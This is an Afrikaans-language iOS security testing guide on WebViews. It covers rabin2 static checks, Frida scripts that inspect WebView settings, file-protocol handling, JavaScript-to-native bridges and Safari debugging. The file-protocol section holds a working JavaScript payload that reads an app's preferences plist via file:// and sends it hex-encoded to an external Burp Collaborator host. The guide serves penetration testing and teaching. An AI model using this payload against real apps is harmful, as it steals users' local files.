iOS WebViews

Reading time: 11 minutes

Die kode van hierdie bladsy is onttrek van hier. Kyk na die bladsy vir verdere besonderhede.

WebViews tipes

WebViews word binne toepassings gebruik om webinhoud interaktief te vertoon. Verskeie tipes WebViews bied verskillende funksionaliteite en sekuriteitskenmerke vir iOS-toepassings. Hier is 'n kort oorsig:

• UIWebView, wat nie meer aanbeveel word vanaf iOS 12 nie weens die gebrek aan ondersteuning om JavaScript te deaktiveer, wat dit vatbaar maak vir skripinjekie en Cross-Site Scripting (XSS) aanvalle.

• WKWebView is die verkieslike opsie om webinhoud in toepassings in te sluit, wat verbeterde beheer oor die inhoud en sekuriteitskenmerke bied. JavaScript is standaard geaktiveer, maar dit kan indien nodig gedeaktiveer word. Dit ondersteun ook funksies om te voorkom dat JavaScript vensters outomaties oopmaak en verseker dat alle inhoud veilig gelaai word. Boonop minimaliseer WKWebView's argitektuur die risiko van geheuebesoedeling wat die hooftoepassing proses beïnvloed.

• SFSafariViewController bied 'n gestandaardiseerde webblaaierervaring binne toepassings, herkenbaar aan sy spesifieke uitleg wat 'n lees-slegs adresveld, deel- en navigasieknoppies, en 'n direkte skakel om inhoud in Safari te open insluit. Anders as WKWebView, kan JavaScript nie in SFSafariViewController gedeaktiveer word nie, wat ook koekies en data met Safari deel, terwyl dit gebruikersprivaatheid van die toepassing handhaaf. Dit moet prominent vertoon word volgens App Store riglyne.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews Konfigurasie Verkenning Samevatting

Statiese Analise Oorsig

In die proses om WebViews konfigurasies te ondersoek, word twee primêre tipes gefokus: UIWebView en WKWebView. Om hierdie WebViews binne 'n binêre te identifiseer, word opdragte gebruik om spesifieke klasverwysings en inisialisasiemetodes te soek.

• UIWebView Identifikasie

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Hierdie opdrag help om voorbeelde van UIWebView te vind deur te soek na teksstringe wat daarmee verband hou in die binêre.

• WKWebView Identifikasie

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Net so, vir WKWebView, soek hierdie opdrag die binêre vir teksstringe wat aandui van sy gebruik.

Verder, om te vind hoe 'n WKWebView geïnitialiseer word, word die volgende opdrag uitgevoer, wat teiken die metode-handtekening wat verband hou met sy inisialisering:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript Konfigurasie Verifikasie

Vir WKWebView word dit beklemtoon dat die deaktivering van JavaScript 'n beste praktyk is tensy dit benodig word. Die gecompileerde binêre word gesoek om te bevestig dat die javaScriptEnabled eienskap op false gestel is, wat verseker dat JavaScript gedeaktiveer is:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Slegs Veilige Inhoud Verifikasie

WKWebView bied die vermoë om gemengde inhoud probleme te identifiseer, in teenstelling met UIWebView. Dit word nagegaan met die hasOnlySecureContent eienskap om te verseker dat alle bladsyhulpbronne deur veilige verbindings gelaai word. Die soektog in die saamgestelde binêre word soos volg uitgevoer:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Dinamiese Analise Inligting

Dinamiese analise behels die inspeksie van die heap vir WebView voorwerpe en hul eienskappe. 'n Skrip genaamd webviews_inspector.js word vir hierdie doel gebruik, wat fokus op UIWebView, WKWebView, en SFSafariViewController voorwerpe. Dit log inligting oor gevonde voorwerpe, insluitend URL's en instellings rakende JavaScript en veilige inhoud.

Heap-inspeksie kan gedoen word met behulp van ObjC.choose() om WebView voorwerpe te identifiseer en die javaScriptEnabled en hasonlysecurecontent eienskappe te kontroleer.

ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})

ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})

Die skrip is uitgevoer met:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Belangrike Uitslae:

• Voorbeelde van WebViews word suksesvol geleë en ondersoek.
• JavaScript-aktivering en veilige inhoudinstellings word geverifieer.

Hierdie opsomming sluit die kritieke stappe en opdragte in wat betrokke is by die analise van WebView-konfigurasies deur middel van statiese en dinamiese benaderings, met fokus op sekuriteitskenmerke soos JavaScript-aktivering en gemengde inhouddetectie.

WebView Protokol Hantering

Die hantering van inhoud in WebViews is 'n kritieke aspek, veral wanneer daar met verskillende protokolle soos http(s)://, file://, en tel:// gewerk word. Hierdie protokolle stel die laai van sowel afstands- as plaaslike inhoud binne toepassings in staat. Dit word beklemtoon dat wanneer plaaslike inhoud gelaai word, voorsorgmaatreëls geneem moet word om te voorkom dat gebruikers die lêernaam of pad beïnvloed en die inhoud self redigeer.

WebViews bied verskillende metodes vir inhoudlaai. Vir UIWebView, wat nou verouderd is, word metodes soos loadHTMLString:baseURL: en loadData:MIMEType:textEncodingName:baseURL: gebruik. WKWebView, aan die ander kant, gebruik loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, en loadRequest: vir webinhoud. Metodes soos pathForResource:ofType:, URLForResource:withExtension:, en init(contentsOf:encoding:) word tipies gebruik om plaaslike lêers te laai. Die metode loadFileURL:allowingReadAccessToURL: is veral noemenswaardig vir sy vermoë om 'n spesifieke URL of gids in die WebView te laai, wat potensieel sensitiewe data kan blootstel as 'n gids gespesifiseer word.

Om hierdie metodes in die bronnekode of gecompileerde binêre te vind, kan opdragte soos die volgende gebruik word:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Betreffende lêertoegang laat UIWebView dit universeel toe, terwyl WKWebView allowFileAccessFromFileURLs en allowUniversalAccessFromFileURLs instellings bekendstel om toegang vanaf lêer-URL's te bestuur, met albei wat standaard op vals is.

'n Frida-skripvoorbeeld word verskaf om WKWebView konfigurasies vir sekuriteitsinstellings te inspekteer:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Laastens, 'n voorbeeld van 'n JavaScript payload wat daarop gemik is om plaaslike lêers te eksfiltreer, demonstreer die potensiële sekuriteitsrisiko wat verband hou met onvanpaste geconfigureerde WebViews. Hierdie payload kodeer lêerinhoud in hex-formaat voordat dit na 'n bediener oorgedra word, wat die belangrikheid van streng sekuriteitsmaatreëls in WebView-implementasies beklemtoon.

String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)

Inheemse Metodes Blootgestel Deur WebViews

Verstaan WebView Inheemse Interfaces in iOS

Vanaf iOS 7 het Apple API's verskaf vir kommunikasie tussen JavaScript in 'n WebView en inheemse Swift of Objective-C voorwerpe. Hierdie integrasie word hoofsaaklik gefasiliteer deur twee metodes:

• JSContext: 'n JavaScript-funksie word outomaties geskep wanneer 'n Swift of Objective-C blok aan 'n identifiseerder binne 'n JSContext gekoppel word. Dit stel naatlose integrasie en kommunikasie tussen JavaScript en inheemse kode moontlik.
• JSExport Protocol: Deur die JSExport protokol te erf, kan inheemse eienskappe, instansiemetodes, en klasmetodes aan JavaScript blootgestel word. Dit beteken enige veranderinge wat in die JavaScript-omgewing gemaak word, word in die inheemse omgewing weerspieël, en omgekeerd. Dit is egter noodsaaklik om te verseker dat sensitiewe data nie per ongeluk deur hierdie metode blootgestel word nie.

Toegang tot JSContext in Objective-C

In Objective-C kan die JSContext vir 'n UIWebView met die volgende lyn kode verkry word:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Kommunikasie met WKWebView

Vir WKWebView is direkte toegang tot JSContext nie beskikbaar nie. In plaas daarvan word boodskap oordrag gebruik deur die postMessage funksie, wat JavaScript aan inheemse kommunikasie moontlik maak. Hanteerders vir hierdie boodskappe word soos volg opgestel, wat JavaScript in staat stel om veilig met die inheemse toepassing te kommunikeer:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interaksie en Toetsing

JavaScript kan met die inheemse laag interaksie hê deur 'n skrip boodskaphandler te definieer. Dit stel operasies soos die aanroep van inheemse funksies vanaf 'n webblad in staat:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Om die resultaat van 'n inheemse funksie-oproep te vang en te manipuleer, kan 'n mens die terugroep funksie binne die HTML oorskry:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>

Die inheemse kant hanteer die JavaScript-oproep soos getoon in die JavaScriptBridgeMessageHandler klas, waar die resultaat van operasies soos die vermenigvuldiging van getalle verwerk en teruggestuur word na JavaScript vir vertoning of verdere manipulasie:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Foutopsporing van iOS WebViews

(Tutoriaal gebaseer op die een van https://blog.vuplex.com/debugging-webviews)

Om webinhoud binne iOS webviews effektief te foutopspoor, is 'n spesifieke opstelling wat Safari se ontwikkelaarshulpmiddels insluit, nodig omdat boodskappe wat na console.log() gestuur word, nie in Xcode-logs vertoon word nie. Hier is 'n vereenvoudigde gids wat sleutelstappe en vereistes beklemtoon:

• Voorbereiding op iOS-toestel: Die Safari Web Inspector moet geaktiveer word op jou iOS-toestel. Dit word gedoen deur na Instellings > Safari > Gevorderd te gaan, en die Web Inspector in te skakel.

• Voorbereiding op macOS-toestel: Op jou macOS-ontwikkelingsmasjien moet jy ontwikkelaarshulpmiddels binne Safari inskakel. Begin Safari, toegang Safari > Voorkeure > Gevorderd, en kies die opsie om die Ontwikkel-menu te wys.

• Verbinden en Foutopsporing: Nadat jy jou iOS-toestel aan jou macOS-rekenaar gekoppel het en jou toepassing begin het, gebruik Safari op jou macOS-toestel om die webview te kies wat jy wil foutopspoor. Navigeer na Ontwikkel in Safari se menubalk, beweeg oor jou iOS-toestel se naam om 'n lys van webview-instanties te sien, en kies die instantie wat jy wil inspekteer. 'n Nuwe Safari Web Inspector-venster sal hiervoor oopmaak.

Wees egter bewus van die beperkings:

• Foutopsporing met hierdie metode vereis 'n macOS-toestel aangesien dit op Safari staatmaak.
• Slegs webviews in toepassings wat op jou toestel deur Xcode gelaai is, is geskik vir foutopsporing. Webviews in toepassings wat via die App Store of Apple Configurator geïnstalleer is, kan nie op hierdie manier foutopgespoor word nie.

Verwysings

• https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
• https://github.com/authenticationfailure/WheresMyBrowser.iOS
• https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md